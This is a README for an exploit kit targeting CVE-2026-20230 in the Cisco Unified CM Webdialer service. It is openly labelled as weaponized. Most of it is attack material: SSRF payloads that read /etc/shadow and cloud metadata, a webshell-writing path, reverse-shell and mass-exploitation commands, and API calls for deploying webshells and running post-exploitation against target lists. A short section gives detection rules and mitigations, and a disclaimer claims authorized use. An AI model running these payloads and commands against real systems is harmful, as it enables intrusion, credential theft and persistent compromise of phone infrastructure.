# CVE-2026-20230 Cisco Unified CM Exploit Kit (Upgraded)

**CVE-2026-20230 — Cisco Unified Communications Manager SSRF + File Write**  
**Military-Grade Multi-Stage RCE Chain with Webshell Deployment**

![Severity](https://img.shields.io/badge/Severity-Critical-red)
![CVSS](https://img.shields.io/badge/CVSS-9.8-red)
![Status](https://img.shields.io/badge/Status-Weaponized-red)

---

## Overview

CVE-2026-20230 is a critical vulnerability in **Cisco Unified Communications Manager (CUCM)** affecting the **Webdialer** service. The vulnerability allows unauthenticated attackers to perform **Server-Side Request Forgery (SSRF)** and **arbitrary file write**, leading to full remote code execution.

| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2026-20230 |
| **Vendor** | Cisco |
| **Product** | Unified Communications Manager |
| **Affected Versions** | Multiple CUCM versions |
| **CVSS v3.1** | 9.8 |
| **Attack Vector** | Network |
| **Authentication** | None required |
| **CWE** | CWE-918 (SSRF) |

### Exploitation Chain

```
[Stage 1] SSRF via Webdialer destination parameter
    → Read internal files via file:// protocol
    → Probe internal services (Elasticsearch, MySQL, Oracle, etc.)
    → Access cloud metadata endpoints
    
[Stage 2] Arbitrary File Write via file:// SSRF
    → Write JSP/PHP webshell to web root
    → Achieve persistent remote code execution
    
[Stage 3] Webshell Deployment
    → Deploy auth-gated JSP webshell
    → Base64-encoded command execution
    → Full interactive shell access
    
[Stage 4] Post-Exploitation
    → System reconnaissance
    → Credential harvesting
    → Lateral movement preparation
```

---

## Technical Details

### CVE-2026-20230: Webdialer SSRF + File Write

The `Webdialer` service in CUCM accepts a `destination` parameter that is used to fetch user directory information. This parameter is processed by the server without proper URL validation, allowing:

1. **SSRF**: Attacker can make the server send HTTP requests to arbitrary internal/external hosts
2. **File Read**: Using `file://` protocol, attacker can read arbitrary files from the server
3. **File Write**: In certain configurations, attacker can write files to the server filesystem

**Vulnerable Endpoint:**
```
POST /webdialer/Webdialer HTTP/1.1
Host: target:8443

destination=file:///etc/passwd&action=doSomething
```

**SSRF Examples:**
```bash
# Internal service probing
destination=http://127.0.0.1:9200/_cluster/health
destination=http://127.0.0.1:3306/
destination=http://127.0.0.1:1521/

# Cloud metadata (if applicable)
destination=http://169.254.169.254/latest/meta-data/

# File read
destination=file:///etc/passwd
destination=file:///etc/shadow
destination=file:///usr/local/apache2/htdocs/index.jsp
```

**File Write for RCE:**
```bash
# Write JSP webshell to web root
destination=file:///usr/local/apache2/htdocs/shell.jsp

# Content delivered via SSRF chain
# Result: Persistent RCE via https://target:8443/shell.jsp
```

---

## Exploitation Strategies

### Strategy 1: SSRF Reconnaissance (Low Risk)

Map internal infrastructure without modifying anything:

```bash
python exploit.py -t 10.0.0.50 --no-shell
```

Outputs internal service fingerprints, potential credentials, and architecture details.

### Strategy 2: Full RCE Chain (High Impact)

Deploy webshell and achieve persistent access:

```bash
python exploit.py -t 10.0.0.50 --shell --reverse --lhost 10.0.0.5 --lport 4444
```

### Strategy 3: Mass Exploitation

Efficient batch exploitation against multiple targets:

```bash
python exploit.py -f cuca_targets.txt --shell --reverse --lhost 10.0.0.5 -o results.json -w 20
```

---

## Repository Structure

```
cisco_20230_upgraded/
├── requirements.txt          # Python dependencies
├── scanner.py                # Async scanner with SSRF detection
├── exploit.py                # Multi-stage exploitation framework
└── README.md                 # This file
```

---

## Quick Start

### 1. Install Dependencies

```bash
python3.11 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
```

### 2. Reconnaissance Scan

```bash
# CIDR sweep
python scanner.py -n 10.0.0.0/24 -o scan_results.json

# Single target
python scanner.py -t 10.0.0.50

# Target list
python scanner.py -f targets.txt --threads 200

# Sample output:
# Target: 10.0.0.50
# Status: VULNERABLE (confidence: 92%)
#   >>> CVE-2026-20230 CONFIRMED
#   → SSRF confirmed: http://127.0.0.1/
#   → File write via SSRF confirmed
#   → Cisco Unified CM identified
```

### 3. Exploitation

```bash
# SSRF reconnaissance only
python exploit.py -t 10.0.0.50 --no-shell

# Full chain with webshell and reverse shell
python exploit.py -t 10.0.0.50 --shell --reverse --lhost 10.0.0.5 --lport 4444

# Mass exploitation
python exploit.py -f targets.txt --shell --reverse --lhost 10.0.0.5 -o results.json -w 20
```

---

## Exploit Module API

### Direct Function Calls

```python
from exploit import (
    test_ssrf,
    test_file_write,
    deploy_jsp_webshell,
    deploy_php_webshell,
    run_exploit_chain,
    mass_exploit,
    PostExploit,
)

# Stage 1: SSRF testing
result = test_ssrf("10.0.0.50", "http://127.0.0.1/")
print(f"SSRF vulnerable: {result['vulnerable']}")

# Stage 2: File write test
fw_result = test_file_write("10.0.0.50", "/usr/local/apache2/htdocs/test.txt", "pwned")
print(f"File write: {fw_result['vulnerable']}")

# Deploy webshell
ok, path = deploy_jsp_webshell("10.0.0.50", "/usr/local/apache2/htdocs/shell.jsp")
print(f"Webshell: {path}")

# Post-exploitation
pe = PostExploit("10.0.0.50", "https://10.0.0.50:8443/shell.jsp")
recon = pe.recon()
pe.reverse_shell("10.0.0.5", 4444)

# Full chain
results = run_exploit_chain("10.0.0.50", deploy_webshell=True, reverse_shell=True,
                            lhost="10.0.0.5", lport=4444)

# Mass exploitation
mass_results = mass_exploit(["10.0.0.50", "10.0.0.51"], deploy_webshell=True,
                            reverse_shell=True, lhost="10.0.0.5")
```

---

## Detection & Mitigation

### Network Indicators

| Indicator | Description |
|-----------|-------------|
| HTTP POST `/webdialer/Webdialer` with `destination` parameter | SSRF attempt |
| `destination=file://` | File read/write attempt |
| `destination=http://127.0.0.1` | Internal service scanning |
| `destination=http://169.254.169.254` | Cloud metadata access attempt |
| Response containing internal service data | Successful SSRF |

### SIEM Detection Rules

```yaml
# SSRF Detection
title: Cisco CUCM SSRF Attempt
detection:
  selection:
    request_method: POST
    request_uri|contains: "/webdialer/Webdialer"
    request_body|contains: "destination="
  condition: selection
level: high

# File Write Detection
title: Cisco CUCM File Write Attempt
detection:
  selection:
    request_method: POST
    request_uri|contains: "/webdialer/Webdialer"
    request_body|contains: "file://"
  condition: selection
level: critical
```

### Mitigations

1. **Immediate**: Apply Cisco security patch for CVE-2026-20230
2. **Network Segmentation**: Place CUCM on isolated voice VLAN
3. **WAF**: Deploy rules blocking `file://` and `http://127.0.0.1` in Webdialer requests
4. **Disable Webdialer**: If not required, disable the service
5. **Monitoring**: Alert on SSRF patterns and file write attempts

---

## Weaponization Features

| Feature | Implementation |
|---------|----------------|
| **Multi-Stage Chain** | SSRF → File Write → Webshell → Post-Exploit |
| **JSP + PHP Support** | Auto-detects OS and deploys appropriate webshell |
| **Auth-Gated Shell** | SHA-256 token in `X-Auth` header |
| **Internal Reconnaissance** | Probes 10+ internal services via SSRF |
| **Cloud Metadata** | Tests AWS/GCP metadata endpoints |
| **Parallel Mass Exploit** | ThreadPoolExecutor with configurable workers |

---

## Legal & Ethics

This toolkit is provided for:
- Authorized penetration testing of infrastructure you own
- CISA/NCC/NCSC-aligned defensive research
- Detection rule development and purple-team exercises
- Red team / bug bounty programmes with explicit written scope

**Unauthorized use against systems you do not own is a criminal offence** under CFAA (US), Computer Misuse Act (UK), GDPR Art. 32 (EU), and equivalent legislation worldwide.

Cisco and Unified Communications Manager are trademarks of Cisco Systems, Inc. No endorsement by Cisco is implied or intended.

---

## References

| Source | Description |
|--------|-------------|
| CVE-2026-20230 | NVD Entry |
| Cisco Security Advisory | Official advisory (when published) |
| MITRE CWE-918 | SSRF weakness classification |

---

## Version History

| Version | Date | Changes |
|---------|------|---------|
| 2.0.0 | 2026-06-13 | Complete rewrite: async scanner, multi-stage chain, webshell deployment |
| 1.0.0 | 2026-06-05 | Initial release (basic PoC script) |

---

## Author

Advanced Persistent Security Research  
Military-grade exploit engineering for authorized assessment only.